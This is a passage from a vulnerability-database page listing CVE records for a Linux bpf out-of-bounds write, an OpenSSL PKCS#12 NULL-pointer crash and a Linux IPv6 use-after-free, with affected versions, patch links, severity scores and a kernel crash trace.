            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:45.652Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/lpm_trie.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e8494ac079814a53fbc2258d2743e720907488ed",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "91afbc0eb3c90258ae378ae3c6ead3d2371e926d",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "590976f921723d53ac199c01d5b7b73a94875e68",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "86c8ebe02d8806dd8878d0063e8e185622ab6ea6",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "a035df0b98df424559fd383e8e1a268f422ea2ba",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "90a6e0e1e151ef7a9282e78f54c3091de2dcc99c",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "c4b4f9a9ab82238cb158fa4fe61a8c0ae21a4980",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            },
            {
              "lessThan": "13400ac8fb80c57c2bfb12ebd35ee121ce9b4d21",
              "status": "affected",
              "version": "b471f2f1de8b816f1e799b80aa92588f3566e4bd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/lpm_trie.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.16"
            },
            {
              "lessThan": "4.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.171",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.116",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.60",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.171",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.116",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.60",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.7",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix out-of-bounds write in trie_get_next_key()\n\ntrie_get_next_key() allocates a node stack with size trie-\u003emax_prefixlen,\nwhile it writes (trie-\u003emax_prefixlen + 1) nodes to the stack when it has\nfull paths from the root to leaves. For example, consider a trie with\nmax_prefixlen is 8, and the nodes with key 0x00/0, 0x00/1, 0x00/2, ...\n0x00/8 inserted. Subsequent calls to trie_get_next_key with _key with\n.prefixlen = 8 make 9 nodes be written on the node stack with size 8."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:48:43.014Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e8494ac079814a53fbc2258d2743e720907488ed"
        },
        {
          "url": "https://git.kernel.org/stable/c/91afbc0eb3c90258ae378ae3c6ead3d2371e926d"
        },
        {
          "url": "https://git.kernel.org/stable/c/590976f921723d53ac199c01d5b7b73a94875e68"
        },
        {
          "url": "https://git.kernel.org/stable/c/86c8ebe02d8806dd8878d0063e8e185622ab6ea6"
        },
        {
          "url": "https://git.kernel.org/stable/c/a035df0b98df424559fd383e8e1a268f422ea2ba"
        },
        {
          "url": "https://git.kernel.org/stable/c/90a6e0e1e151ef7a9282e78f54c3091de2dcc99c"
        },
        {
          "url": "https://git.kernel.org/stable/c/c4b4f9a9ab82238cb158fa4fe61a8c0ae21a4980"
        },
        {
          "url": "https://git.kernel.org/stable/c/13400ac8fb80c57c2bfb12ebd35ee121ce9b4d21"
        }
      ],
      "title": "bpf: Fix out-of-bounds write in trie_get_next_key()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50262",
    "datePublished": "2024-11-09T10:17:50.461Z",
    "dateReserved": "2024-10-21T19:36:19.981Z",
    "dateUpdated": "2026-05-12T12:00:45.652Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-69421 (GCVE-0-2025-69421)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

NULL Pointer Dereference in PKCS12_item_decrypt_d2i_ex function

Summary

Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer dereference in the PKCS12_item_decrypt_d2i_ex() function. Impact summary: A NULL pointer dereference can trigger a crash which leads to Denial of Service for an application processing PKCS#12 files. The PKCS12_item_decrypt_d2i_ex() function does not check whether the oct parameter is NULL before dereferencing it. When called from PKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can be NULL, causing a crash. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. Exploiting this issue requires an attacker to provide a malformed PKCS#12 file to an application that processes it. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

Severity ?

No CVSS data available.

CWE

CWE-476 - NULL Pointer Dereference

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/a2dbc53…	patch
https://github.com/openssl/openssl/commit/3524a29…	patch
https://github.com/openssl/openssl/commit/6439869…	patch
https://github.com/openssl/openssl/commit/4bbc8d4…	patch
https://github.com/openssl/openssl/commit/36ecb49…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom) Affected: 1.0.2 , < 1.0.2zn (custom)

Date Public ?

2026-01-27 14:00

Credits

Luigino Camastra (Aisle Research) Luigino Camastra (Aisle Research)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-69421",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-28T15:17:58.059460Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-28T02:58:24.792Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:44.262Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zn",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Luigino Camastra (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Luigino Camastra (Aisle Research)"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer\u003cbr\u003edereference in the PKCS12_item_decrypt_d2i_ex() function.\u003cbr\u003e\u003cbr\u003eImpact summary: A NULL pointer dereference can trigger a crash which leads to\u003cbr\u003eDenial of Service for an application processing PKCS#12 files.\u003cbr\u003e\u003cbr\u003eThe PKCS12_item_decrypt_d2i_ex() function does not check whether the oct\u003cbr\u003eparameter is NULL before dereferencing it. When called from\u003cbr\u003ePKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can\u003cbr\u003ebe NULL, causing a crash. The vulnerability is limited to Denial of Service\u003cbr\u003eand cannot be escalated to achieve code execution or memory disclosure.\u003cbr\u003e\u003cbr\u003eExploiting this issue requires an attacker to provide a malformed PKCS#12 file\u003cbr\u003eto an application that processes it. For that reason the issue was assessed as\u003cbr\u003eLow severity according to our Security Policy.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."
            }
          ],
          "value": "Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer\ndereference in the PKCS12_item_decrypt_d2i_ex() function.\n\nImpact summary: A NULL pointer dereference can trigger a crash which leads to\nDenial of Service for an application processing PKCS#12 files.\n\nThe PKCS12_item_decrypt_d2i_ex() function does not check whether the oct\nparameter is NULL before dereferencing it. When called from\nPKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can\nbe NULL, causing a crash. The vulnerability is limited to Denial of Service\nand cannot be escalated to achieve code execution or memory disclosure.\n\nExploiting this issue requires an attacker to provide a malformed PKCS#12 file\nto an application that processes it. For that reason the issue was assessed as\nLow severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:26.435Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a2dbc539f0f9cc63832709fa5aa33ad9495eb19c"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/3524a29271f8191b8fd8a5257eb05173982a097b"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/643986985cd1c21221f941129d76fe0c2785aeb3"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/4bbc8d41a72c842ce4077a8a3eccd1109aaf74bd"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/36ecb4960872a4ce04bf6f1e1f4e78d75ec0c0c7"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "NULL Pointer Dereference in PKCS12_item_decrypt_d2i_ex function",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2025-69421",
    "datePublished": "2026-01-27T16:01:26.435Z",
    "dateReserved": "2026-01-06T12:44:09.946Z",
    "dateUpdated": "2026-05-12T12:08:44.262Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26852 (GCVE-0-2024-26852)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:17 – Updated: 2026-05-12 11:49

Title

net/ipv6: avoid possible UAF in ip6_route_mpath_notify()

Summary

In the Linux kernel, the following vulnerability has been resolved: net/ipv6: avoid possible UAF in ip6_route_mpath_notify() syzbot found another use-after-free in ip6_route_mpath_notify() [1] Commit f7225172f25a ("net/ipv6: prevent use after free in ip6_route_mpath_notify") was not able to fix the root cause. We need to defer the fib6_info_release() calls after ip6_route_mpath_notify(), in the cleanup phase. [1] BUG: KASAN: slab-use-after-free in rt6_fill_node+0x1460/0x1ac0 Read of size 4 at addr ffff88809a07fc64 by task syz-executor.2/23037 CPU: 0 PID: 23037 Comm: syz-executor.2 Not tainted 6.8.0-rc4-syzkaller-01035-gea7f3cfaa588 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024 Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x1e7/0x2e0 lib/dump_stack.c:106 print_address_description mm/kasan/report.c:377 [inline] print_report+0x167/0x540 mm/kasan/report.c:488 kasan_report+0x142/0x180 mm/kasan/report.c:601 rt6_fill_node+0x1460/0x1ac0 inet6_rt_notify+0x13b/0x290 net/ipv6/route.c:6184 ip6_route_mpath_notify net/ipv6/route.c:5198 [inline] ip6_route_multipath_add net/ipv6/route.c:5404 [inline] inet6_rtm_newroute+0x1d0f/0x2300 net/ipv6/route.c:5517 rtnetlink_rcv_msg+0x885/0x1040 net/core/rtnetlink.c:6597 netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2543 netlink_unicast_kernel net/netlink/af_netlink.c:1341 [inline] netlink_unicast+0x7ea/0x980 net/netlink/af_netlink.c:1367 netlink_sendmsg+0xa3b/0xd70 net/netlink/af_netlink.c:1908 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:745 ____sys_sendmsg+0x525/0x7d0 net/socket.c:2584 ___sys_sendmsg net/socket.c:2638 [inline] __sys_sendmsg+0x2b0/0x3a0 net/socket.c:2667 do_syscall_64+0xf9/0x240 entry_SYSCALL_64_after_hwframe+0x6f/0x77 RIP: 0033:0x7f73dd87dda9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 e1 20 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f73de6550c8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f73dd9ac050 RCX: 00007f73dd87dda9 RDX: 0000000000000000 RSI: 0000000020000140 RDI: 0000000000000005 RBP: 00007f73dd8ca47a R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 000000000000006e R14: 00007f73dd9ac050 R15: 00007ffdbdeb7858 </TASK> Allocated by task 23037: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:372 [inline] __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:389 kasan_kmalloc include/linux/kasan.h:211 [inline] __do_kmalloc_node mm/slub.c:3981 [inline] __kmalloc+0x22e/0x490 mm/slub.c:3994 kmalloc include/linux/slab.h:594 [inline] kzalloc include/linux/slab.h:711 [inline] fib6_info_alloc+0x2e/0xf0 net/ipv6/ip6_fib.c:155 ip6_route_info_create+0x445/0x12b0 net/ipv6/route.c:3758 ip6_route_multipath_add net/ipv6/route.c:5298 [inline] inet6_rtm_newroute+0x744/0x2300 net/ipv6/route.c:5517 rtnetlink_rcv_msg+0x885/0x1040 net/core/rtnetlink.c:6597 netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2543 netlink_unicast_kernel net/netlink/af_netlink.c:1341 [inline] netlink_unicast+0x7ea/0x980 net/netlink/af_netlink.c:1367 netlink_sendmsg+0xa3b/0xd70 net/netlink/af_netlink.c:1908 sock_sendmsg_nosec net/socket.c:730 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:745 ____sys_sendmsg+0x525/0x7d0 net/socket.c:2584 ___sys_sendmsg net/socket.c:2638 [inline] __sys_sendmsg+0x2b0/0x3a0 net/socket.c:2667 do_syscall_64+0xf9/0x240 entry_SYSCALL_64_after_hwframe+0x6f/0x77 Freed by task 16: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x3f/0x80 mm/kasan/common.c:68 kasan_save_free_info+0x4e/0x60 mm/kasan/generic.c:640 poison_slab_object+0xa6/0xe0 m ---truncated---

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/31ea5bcc7d4cd1423…
https://git.kernel.org/stable/c/664f9c647260cc9d6…
https://git.kernel.org/stable/c/79ce2e54cc0ae366f…
https://git.kernel.org/stable/c/cae3303257950d03f…
https://git.kernel.org/stable/c/394334fe2ae3b9f1e…
https://git.kernel.org/stable/c/ed883060c38721ed8…
https://git.kernel.org/stable/c/61b34f73cdbdb8eaf…
https://git.kernel.org/stable/c/685f7d531264599b3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < 31ea5bcc7d4cd1423de6be327a2c034725704136 (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < 664f9c647260cc9d68b4e31d9899530d89dd045e (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < 79ce2e54cc0ae366f45516c00bf1b19aa43e9abe (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < cae3303257950d03ffec2df4a45e836f10d26c24 (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < 394334fe2ae3b9f1e2332b873857e84cb28aac18 (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < ed883060c38721ed828061f6c0c30e5147326c9a (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < 61b34f73cdbdb8eaf9ea12e9e2eb3b29716c4dda (git) Affected: 3b1137fe74829e021f483756a648cbb87c8a1b4a , < 685f7d531264599b3f167f1e94bbd22f120e5fab (git)
Linux	Linux	Affected: 4.11 Unaffected: 0 , < 4.11 (semver) Unaffected: 4.19.310 , ≤ 4.19.* (semver) Unaffected: 5.4.272 , ≤ 5.4.* (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.22 , ≤ 6.6.* (semver) Unaffected: 6.7.10 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.699Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/31ea5bcc7d4cd1423de6be327a2c034725704136"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/664f9c647260cc9d68b4e31d9899530d89dd045e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/79ce2e54cc0ae366f45516c00bf1b19aa43e9abe"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cae3303257950d03ffec2df4a45e836f10d26c24"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/394334fe2ae3b9f1e2332b873857e84cb28aac18"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ed883060c38721ed828061f6c0c30e5147326c9a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61b34f73cdbdb8eaf9ea12e9e2eb3b29716c4dda"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/685f7d531264599b3f167f1e94bbd22f120e5fab"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "31ea5bcc7d4c",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "664f9c647260",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "79ce2e54cc0a",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "cae330325795",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "394334fe2ae3",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "ed883060c387",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "61b34f73cdbd",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "lessThan": "685f7d531264",
                "status": "affected",
                "version": "3b1137fe7482",
                "versionType": "custom"
              },
              {
                "status": "affected",
                "version": "4.11"
              },
              {
                "lessThan": "4.11",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              },
              {
                "lessThanOrEqual": "4.20",
                "status": "unaffected",
